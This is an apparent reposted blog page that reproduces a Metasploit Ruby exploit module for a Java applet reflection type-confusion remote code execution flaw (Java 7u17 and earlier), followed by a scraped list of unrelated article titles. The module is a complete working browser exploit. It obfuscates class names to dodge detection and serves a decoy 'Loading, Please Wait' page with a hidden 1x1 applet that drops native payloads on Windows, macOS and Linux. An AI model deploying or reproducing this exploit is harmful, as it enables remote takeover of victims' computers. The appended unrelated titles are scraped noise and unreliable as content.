测试方法:

提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # web site for more information on licensing and terms of use.
  5. # http://metasploit.com/
  6. ##
  7. require'msf/core'
  8. require'rex'
  9. classMetasploit3<Msf::Exploit::Remote
  10. Rank=ExcellentRanking
  11. include Msf::Exploit::Remote::HttpServer::HTML
  12. include Msf::Exploit::EXE
  13. include Msf::Exploit::Remote::BrowserAutopwn
  14. autopwn_info({:javascript =>false})
  15. def initialize( info ={})
  16. super( update_info( info,
  17. 'Name'=>'Java Applet Reflection Type Confusion Remote Code Execution',
  18. 'Description'=>%q{
  19. Thismodule abuses JavaReflection to generate a TypeConfusion, due to a weak
  20. access control when setting final fields on static classes,and run code outside of
  21. the JavaSandbox.The vulnerability affects Java version 7u17and earlier.This
  22. exploit doesn't bypass click-to-play, so the user must accept the java warning in
  23. order to run the malicious applet.
  24. },
  25. 'License' => MSF_LICENSE,
  26. 'Author' =>
  27. [
  28. 'JeroenFrijters', # Vulnerability discovery and PoC
  29. 'juan vazquez' # Metasploit module
  30. ],
  31. 'References' =>
  32. [
  33. [ 'URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0' ],
  34. ['URL','http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html']
  35. ],
  36. 'Platform'=>['java','win','osx','linux'],
  37. 'Payload'=>{'Space'=>20480,'BadChars'=>'','DisableNops'=>true},
  38. 'Targets'=>
  39. [
  40. ['Generic (Java Payload)',
  41. {
  42. 'Platform'=>['java'],
  43. 'Arch'=> ARCH_JAVA,
  44. }
  45. ],
  46. ['Windows x86 (Native Payload)',
  47. {
  48. 'Platform'=>'win',
  49. 'Arch'=> ARCH_X86,
  50. }
  51. ],
  52. ['Mac OS X x86 (Native Payload)',
  53. {
  54. 'Platform'=>'osx',
  55. 'Arch'=> ARCH_X86,
  56. }
  57. ],
  58. ['Linux x86 (Native Payload)',
  59. {
  60. 'Platform'=>'linux',
  61. 'Arch'=> ARCH_X86,
  62. }
  63. ],
  64. ],
  65. 'DefaultTarget'=>0,
  66. 'DisclosureDate'=>'Jan 10 2013'
  67. ))
  68. end
  69. def setup
  70. path =File.join(Msf::Config.install_root,"data","exploits","jre7u17","Exploit.class")
  71. @exploit_class=File.open(path,"rb"){|fd| fd.read(fd.stat.size)}
  72. path =File.join(Msf::Config.install_root,"data","exploits","jre7u17","Union1.class")
  73. @union1_class=File.open(path,"rb"){|fd| fd.read(fd.stat.size)}
  74. path =File.join(Msf::Config.install_root,"data","exploits","jre7u17","Union2.class")
  75. @union2_class=File.open(path,"rb"){|fd| fd.read(fd.stat.size)}
  76. path =File.join(Msf::Config.install_root,"data","exploits","jre7u17","SystemClass.class")
  77. @system_class=File.open(path,"rb"){|fd| fd.read(fd.stat.size)}
  78. @exploit_class_name= rand_text_alpha("Exploit".length)
  79. @exploit_class.gsub!("Exploit",@exploit_class_name)
  80. super
  81. end
  82. def on_request_uri(cli, request)
  83. print_status("handling request for #{request.uri}")
  84. case request.uri
  85. when/\.jar$/i
  86. jar = payload.encoded_jar
  87. jar.add_file("#{@exploit_class_name}.class",@exploit_class)
  88. jar.add_file("Union1.class",@union1_class)
  89. jar.add_file("Union2.class",@union2_class)
  90. jar.add_file("SystemClass.class",@system_class)
  91. metasploit_str = rand_text_alpha("metasploit".length)
  92. payload_str = rand_text_alpha("payload".length)
  93. jar.entries.each {|entry|
  94. entry.name.gsub!("metasploit", metasploit_str)
  95. entry.name.gsub!("Payload", payload_str)
  96. entry.data = entry.data.gsub("metasploit", metasploit_str)
  97. entry.data = entry.data.gsub("Payload", payload_str)
  98. }
  99. jar.build_manifest
  100. send_response(cli, jar,{'Content-Type'=>"application/octet-stream"})
  101. when/\/$/
  102. payload = regenerate_payload(cli)
  103. ifnot payload
  104. print_error("Failed to generate the payload.")
  105. send_not_found(cli)
  106. return
  107. end
  108. send_response_html(cli, generate_html,{'Content-Type'=>'text/html'})
  109. else
  110. send_redirect(cli, get_resource()+'/','')
  111. end
  112. end
  113. def generate_html
  114. html =%Q|<html><head><title>Loading,PleaseWait...</title></head>|
  115. html +=%Q|<body><center><p>Loading,PleaseWait...</p></center>|
  116. html +=%Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
  117. html +=%Q|</applet></body></html>|
  118. return html
  119. end
  120. end

转载于:https://www.cnblogs.com/security4399/archive/2013/04/25/3043667.html

Java Applet Reflection Type Confusion Remote Code Execution相关推荐

  1. CVE-2014-6321 MS14-066 Microsoft Schannel Remote Code Execution Vulnerability Analysis

    目录 1. 漏洞的起因 2. 漏洞原理分析 3. 漏洞的影响范围 4. 漏洞的利用场景 5. 漏洞的POC.测试方法 6. 漏洞的修复Patch情况 7. 如何避免此类漏洞继续出现 1. 漏洞的起因 ...

  2. php图片写入带问号_php-fpm Remote Code Execution 分析(CVE-2019-11043)

    漏洞简介 国外安全研究员 Andrew Danau发现向服务器请求的URL中包含%0a 符号时,服务返回异常,疑似存在漏洞. Nginx+php-fpm的环境中,若Nginx上的fastcgi_spl ...

  3. java以32位运行,强制java applet以32位而不是64位JRE运行

    我有一个Java applet,设计在32位JDK(1.5)下.在新MacOS(10.7)上部署它时,它运行不正确 - 因为该系统默认首选64位JRE(有两种供选择,32和64位).如果首选顺序先更改 ...

  4. IDE中使用package打包出现java.lang.TypeNotPresentException: Type org.springframework.boot.maven.RepackageMoj

    场景 后台框架:springcloud,开发工具:Idea,仓库:maven 描述:在项目中使用package 对项目进行打包时抛出异常,具体信息如下: [INFO] --- spring-boot- ...

  5. Java反射系列--Type接口及其子接口

    原文网址:Java反射系列--Type接口及其子接口_IT利刃出鞘的博客-CSDN博客 简介 说明 Type 是java反射机制中提供的一个接口,用来表示java中的所有类型的接口.它们包括原始类型. ...

  6. java applet js_jsp嵌入java-applet,实现js调用web服务器程序

    1.applet介绍 Applet是一种Java的小程序,它通过使用该Applet的HTML文件,由支持Java的网页浏览器下载运行. 2.编写一个applet类 import java.applet ...

  7. Java Applet 基础

    Java Applet 基础 Applet 是一种 Java 程序.它一般运行在支持 Java 的 Web 浏览器内.因为它有完整的 Java API支持,所以Applet 是一个全功能的 Java ...

  8. JAVA教程 第六讲 Java的线程和Java Applet(二)

    6.3 Java Applet 前面的章节我们阐述了Application的应用,这一讲我们将介绍java的另一类应用java Applet,即java小应用程序. 在Java问世的头几年里,之所以如 ...

  9. Java网页小程序——Java Applet

    Java Applet是编译过的Java程序,可以在所有支持Java的浏览器中运行. 1.Applet的使用 import java.applet.Applet; import java.awt.Gr ...

  10. java applet配置_配置Java Applet的运行环境

    Java小程序,也就是Java Applet,可以在Web浏览器中运行.Java Applet必须以脚本的形式嵌入到HTML页面中,才能在web浏览器中运行. 之前总以为本地安装了JDK,指定好JAV ...

最新文章

  1. IBM 数据科学平台三大特性解决数据科学家协作问题
  2. 天池大赛通用目标检测的对抗攻击方法一览
  3. Git Flow分支策略与Azure DevOps相关功能简介
  4. 分页插件PageHelper配置步骤(mybatis)
  5. 将Maven项目发布到Nexus私服
  6. 双向口 与 准双向口 区别
  7. 基于JAVA+SpringMVC+Mybatis+MYSQL的OA办公系统
  8. controller属于哪一层_五种皮肤类型,那你属于哪一种,你知道吗?
  9. Java 垃圾回收机制
  10. 练习四十四:整数的排序
  11. linux+ tomcat 遇到ClientAbortException: java.net.SocketException: Broken pipe
  12. 得力计算机无法开机,得力针式打印机常见问题及解决方法
  13. Profinet协议基础知识(一)
  14. 计算机系统硬盘内存主频,内存时序和频率_内存硬盘-中关村在线
  15. html表格列宽度 比例,HTML表格的整体宽度,以及各列的宽度均可以由( )属性来控制。...
  16. 【技术白皮书】第一章:基于深度学习的文本检测与识别的技术背景
  17. 没有学历怎么找运维工作?
  18. QT应用编程: 域名解析(域名转IP)
  19. 2022第十四届环泰山T60线上大徒步活动线下启动仪式圆满结束
  20. 《微型计算机原理与接口技术》复习笔记(二)

热门文章

  1. Docker网络一览
  2. 使用系统定时器SysTick实现精确延时微秒和毫秒函数
  3. 安装浏览器的vue插件
  4. 第二阶段团队冲刺(二)
  5. 未来-IOT-Aliyun:阿里云 IOT - 开发者社区
  6. D. Magic Gems(矩阵快速幂 || 无敌杜教)
  7. CentOS笔记-系统概述
  8. awk substr()函数
  9. tpl_main_page.php
  10. 如何卸载密码保护的Symantec Endpoint Protection